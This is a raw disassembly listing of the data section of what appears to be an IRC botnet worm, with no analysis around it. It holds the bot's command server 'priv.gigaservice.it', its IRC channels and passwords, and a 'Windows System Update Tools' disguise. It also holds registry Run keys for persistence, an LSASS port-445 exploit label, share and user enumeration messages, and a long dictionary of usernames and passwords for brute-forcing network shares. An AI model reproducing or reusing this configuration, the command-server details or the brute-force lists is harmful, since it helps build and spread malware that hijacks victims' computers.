aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40DDD4:loc_40DE2Eo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40DDD4:loc_40DE24o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40DDD4:loc_40DE1Ao
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40DDD4+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40DF52+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40DF52:loc_40E01Eo
aStarting	db '   Starting',0      ; DATA XREF: sub_40DF52:loc_40E017o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40DF52:loc_40E010o
aRunning	db '    Running',0      ; DATA XREF: sub_40DF52:loc_40E009o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40DF52:loc_40E002o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40DF52:loc_40DFFBo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40DF52:loc_40DFF4o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40DF52+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40DF52+25o
		align 4
unk_42E554	db    2			; DATA XREF: sub_40E08F+ABo
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSNoShareSpecif	db ' %s: No share specified.',0
		align 4
unk_42E58C	db    2			; DATA XREF: sub_40E08F+89o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSShareS_	db ' %s share: ',27h,'%s',27h,'.',0
		align 4
unk_42E5BC	db    2			; DATA XREF: sub_40E08F+57o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSErrorWithShar	db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40E284+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_40E284+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_40E284+B5o
unk_42E618	db    2			; DATA XREF: sub_40E284+76o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareListError	db ' Share list error: %s <%ld>',0
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40E284+26o
		align 4
unk_42E688	db    2			; DATA XREF: sub_40E3A5+B6o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSNoUsernameSpe	db ' %s: No username specified.',0
unk_42E6C0	db    2			; DATA XREF: sub_40E3A5+94o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSErrorWithUser	db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
		align 10h
unk_42E700	db    2			; DATA XREF: sub_40E3A5+6Do
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSUsernameS_	db ' %s username: ',27h,'%s',27h,'.',0
unk_42E730	db    2			; DATA XREF: sub_40E4EB+394o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUserInfoErrorL	db ' User info error: <%ld>',0
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40E4EB+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40E4EB+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40E4EB+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40E4EB+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40E4EB+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40E4EB+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40E4EB+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40E4EB+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40E4EB+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40E4EB+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40E4EB+1CBo
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40E4EB+1A0o
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40E4EB+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40E4EB+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40E4EB+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_40E4EB:loc_40E604o
		align 10h
aUser_0		db 'User',0             ; DATA XREF: sub_40E4EB:loc_40E5FDo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40E4EB:loc_40E5F6o
					; ___:0042EEECo ...
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40E4EB+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40E4EB+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40E4EB+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40E4EB+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E8B9+14Fo
		align 4
unk_42E8FC	db    2			; DATA XREF: sub_40E8B9+F7o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAnAccessViolat	db ' An access violation has occured.',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_40E8B9+BEo
		align 4
unk_42E944	db    2			; DATA XREF: sub_40E8B9+7Ao
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUserListErrorS	db ' User list error: %s <%ld>',0
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E8B9+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40EA39:loc_40EB56o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40EA39:loc_40EB4Fo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40EA39:loc_40EB48o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40EA39:loc_40EB41o
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40EA39:loc_40EB3Ao
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40EA39:loc_40EB1Do
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40EA39:loc_40EB16o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40EA39:loc_40EB0Fo
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40EA39+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40EA39:loc_40EAE4o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40EA39:loc_40EADDo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40EA39:loc_40EAD6o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40EA39:loc_40EACCo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40EA39+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40EA39:loc_40EAA6o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40EA39:loc_40EA9Co
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40EA39:loc_40EA92o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40EA39:loc_40EA88o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40EA39:loc_40EA7Eo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40EA39+3Bo
		align 10h
unk_42EC60	db    2			; DATA XREF: sub_40EB6D+ABo
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSServerSMessag	db ' %s <Server: %S> <Message: %S>',0
		align 4
unk_42EC9C	db    2			; DATA XREF: sub_40EB6D+81o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aMessageSentSuc	db ' Message sent successfully.',0
		align 8
dword_42ECD8	dd 0D6DBh						; ___:0040F293r
dword_42ECDC	dd 0D6DCh	dword_42ECE0	dd 17D2h	dword_42ECE4	dd 45h							; sub_40F6F1+5560r
dword_42ECE8	dd 2327h						; sub_40F6F1:loc_414D4Ar
		dd 8234h
dword_42ECF0	dd 1		dword_42ECF4	dd 1							; ___:0040EFA1r
byte_42ECF8	db 2Eh			; DATA XREF: sub_40D583:loc_40D58Fr
					; sub_40F6F1+AFCr ...
		align 4
dword_42ECFC	dd 6							; sub_415F27+51r ...
dword_42ED00	dd 2							; sub_40F6F1+27Cr ...
dword_42ED04	dd 1							; sub_40F6F1+276r
dword_42ED08	dd 1		dword_42ED0C	dd 1							; sub_40F326+101r
a4492		db '4492',0             ; DATA XREF: sub_40327E+9Ao
		align 4
aArrapao	db 'arrapao',0          ; DATA XREF: sub_40327E+95o
aArrapato	db 'arrapato',0         ; DATA XREF: sub_40327E+90o
		align 10h
aLsass_445	db 'lsass_445',0
byte_42ED3A	db 1			; DATA XREF: sub_40F6F1:loc_41483Er
					; sub_40F6F1+5157o
aLs1ls		db 'ls1ls',0
		align 4
		dd 736D0100h, 737361h, 0
		dd 6F636401h, 3533316Dh, 1000000h, 3 dup(0)
dword_42ED68	dd 1		aArra		db 'arra',0             ; DATA XREF: ___:0040EC95o
					; sub_40F6F1+3F38o ...
		align 4
aNzmPrivRelease	db 'NzM Priv Release by Ud2',0 ; DATA XREF: sub_40F6F1:loc_4157E1o
aC0d1am0z3	db 'c0d1am0z3',0        ; DATA XREF: sub_40F6F1+62B9o
					; sub_40F6F1+6388o
		align 4
aPriv_gigaservi	db 'priv.gigaservice.it',0 ; DATA XREF: ___:0040F1CBo
					; ___:0040F284o
aSodoma_3	db '##sodoma_3',0       ; DATA XREF: sub_402B92:loc_402BACo
					; sub_402CA9:loc_402CC3o ...
		align 4
aS0dom4j03	db 's0dom4j03',0        ; DATA XREF: ___:0040F203o
					; ___:0040F2ACo
		align 4
byte_42EDC4	db 75h			; DATA XREF: sub_40327E+84o
					; sub_403BE2+Fo ...
		db 70h,	64h, 73h
		dd 6578652Eh, 0
		dd 646E6957h, 3173776Fh, 7379732Eh, 0
aWindowsSystemU	db 'Windows System Update Tools',0 ; DATA XREF: sub_40C738+Eo
					; ___:0040EFCCo
aUpds		db 'upds',0
		align 4
aXtIb		db '-xt+iB',0           ; DATA XREF: sub_40F6F1+6401o
		align 4
aSodoma_3e	db '##sodoma_3e',0      ; DATA XREF: sub_40F6F1:loc_412A85o
					; sub_40F6F1+5312o ...
aSodoma_3s	db '##sodoma_3s',0      ; DATA XREF: sub_40F6F1+4942o
					; sub_40F6F1+4997o
aSodoma_3s_0	db '##sodoma_3s',0      ; DATA XREF: sub_40F6F1+1DFBo
					; sub_40F6F1+1F68o
aSodoma_3t	db '##sodoma_3t',0      ; DATA XREF: sub_40B0E7+33Co
off_42EE3C	dd offset a@arrapao	; DATA XREF: sub_40F6F1:loc_4159F4o
					; "*@arrapao"
off_42EE40	dd offset aIrofferV1_3b10 ; DATA XREF: sub_40F6F1+8C9r
					; sub_40F6F1+631Fo
					; "iroffer v1.3b10 [Ud2	23874155], http://"...
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_416561+28o
					; sub_416885+28o
		align 4
aSystemCurren_0	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_416561+D4o
					; sub_416885+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 10h
off_42EF40	dd offset byte_43C63C	; DATA XREF: sub_404969:loc_404A00r
					; sub_404969+A8o ...
		dd offset byte_43C63C
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_1	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_0	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_1	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_0		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin_1	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_4343A8	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset a0		; "0"
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
